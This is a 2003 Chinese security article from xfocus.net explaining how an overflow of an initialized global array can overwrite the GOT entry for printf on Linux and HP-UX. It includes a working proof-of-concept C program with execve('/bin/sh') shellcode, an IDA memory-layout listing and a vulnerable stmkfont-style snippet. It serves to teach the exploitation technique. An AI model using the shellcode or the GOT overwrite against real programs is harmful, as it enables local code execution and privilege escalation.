已初始化数据区溢出覆盖外部函数导入地址表的利用分析创建时间:2003-09-18 文章属性:原创 文章来源:http://www.xfocus.net 文章提交:watercloud (watercloud_at_xfocus.org) 该文章原贴于Unix hacking版,由此引出的很好的讨论参考: https://www.xfocus.net/bbs/index.php?act=ST&f=19&t=28101 <1> 引言 一直没有看到对已初始化数据区溢出的文章,以前研究HP-UX(PA)体系结构时注意到在 已初始化数据区后面就是函数导入地址表,如果里边发生溢出可以导致函数导入地址被覆 盖从而修改外部函数调用时的执行地址,最终修改程序执行流程。最近发现linux上段的 分配策略是相同的,所以估计其他UNIX系统同样实用。 <2> 实例 在linux下作一个测试: 编写一个程序 /* Filename: t-seg.c Write for test seg layout by watercloud 2003-9-7 Tested on RedHat8.0 */ #include<stdio.h> char shell[]="j\vX\x99Rhn/shh//biT[RSTY\xcd\x80"; unsigned int array[1]={0}; int main(int argc,char *argv[]) { int i; printf("Begin!\n"); for(i=0;i<100;i++) { array[i]=(unsigned int )shell; } printf("End!\n"); return 0; } /*EOF */ cloud$ gcc t-seg.c -o t-seg -g cloud$ ./t-seg Begin! sh-2.05b$ #看这里在调用printf("End!\n");时其实跑到了我们的shell里去执行了。 看起来很奇怪吧?? <3> 分析 没关系我们来看看IDA Pro分析结果,先看看段的组织,看看我们关心的array和printf的关系: .data:080493DC ; Segment type: Pure data .data:080493DC ; Segment permissions: Read/Write .data:080493DC _data segment dword public 'DATA' use32 .data:080493DC assume cs:_data .data:080493DC ;org 80493DCh .data:080493DC public data_start ; weak .data:080493DC data_start db 0 ; ; Alternative name is '__data_start' .data:080493DD db 0 ; .data:080493DE db 0 ; .data:080493DF db 0 ; .data:080493E0 __dso_handle db 0 ; .data:080493E1 db 0 ; .data:080493E2 db 0 ; .data:080493E3 db 0 ; .data:080493E4 p_0 dd 80494DCh ; DATA XREF: __do_global_dtors_aux+Fr .data:080493E4 ; __do_global_dtors_aux+1Fw ... .data:080493E8 public shell .data:080493E8 shell db 'j',0Bh,'X橰hn/shh//biT[RSTY蛝',0 ; DATA XREF: main+32o .data:08049400 public array .data:08049400 array dd 0 ; DATA XREF: main+32w --------------------------------看,这里是我们的array。 .got:080494E4 ; Segment type: Pure data .got:080494E4 ; Segment permissions: Read/Write .got:080494E4 _got segment dword public 'DATA' use32 .got:080494E4 assume cs:_got .got:080494E4 ;org 80494E4h .got:080494E4 public _GLOBAL_OFFSET_TABLE_ .got:080494E4 _GLOBAL_OFFSET_TABLE_ db ? ; ; DATA XREF: call_gmon_start+Co .got:080494E4 ; _term_proc+Co .got:080494E5 db ? ; .got:080494E6 db ? ; .got:080494E7 db ? ; .got:080494E8 db ? ; .got:080494E9 db ? ; .got:080494EA db ? ; .got:080494EB db ? ; .got:080494EC db ? ; .got:080494ED db ? ; .got:080494EE db ? ; .got:080494EF db ? ; .got:080494F0 off_80494F0 dd offset __libc_start_main ; DATA XREF: ___libc_start_mainr .got:080494F4 off_80494F4 dd offset printf ; DATA XREF: _printfr ------------------------------这里存放的是真正的printf的地址。 .got:080494F8 db 0 ; .got:080494F9 db 0 ; .got:080494FA db 0 ; .got:080494FB db 0 ; .got:080494FB _got ends .got:080494FB 从里边我们可以看到: 1. array的地址比printf导入地址项所在地址要低。 2. 从array所在地址到printf导入地址所在地址间的空间均可读写。 以上两条保证了我们可以溢出array来覆盖printf的导入地址, 最终结果也就是在上面演示上看到的了。 如果你对printf调用有疑问的话接着看: 反汇编main你可以发现如下代码: .text:0804836F push offset aEnd ; "End!\n" .text:08048374 call _printf 反汇编_printf函数看看: .plt:08048268 _printf proc near ; CODE XREF: main+18p .plt:08048268 ; main+4Cp .plt:08048268 jmp ds:off_80494F4 .plt:08048268 _printf endp 看看这个jmp后面的这个off_80494F4和上面的: .got:080494F4 off_80494F4 dd offset printf ; DATA XREF: _printfr 应该明白了吧?! <4> 结束 这种布局方式估计对Unix系统都可作为参考测试,具体就看大家测试补充和不同平台的注意细节了。 补充一点:在RedHat8和HP-UX(PA)上对于static定义并初始化的变量布局和测试程序一样。 目前已经公开的有这样漏洞的程序有HP-UX上的stmkfont,它的BUG中的一个类似如下情况: char Name[]="watercloud"; int main(int argc,char * argv[]) { . . . getopt("n: . . . "); . . . case 'n': strcpy(Name,optarg); . . . } 这就是最典型的已初始化数据区的溢出了。 最后的结论是这样的溢出是最容易利用的溢出了 :) 一点愚见,望斧正。 watercloud 2003-9-7 |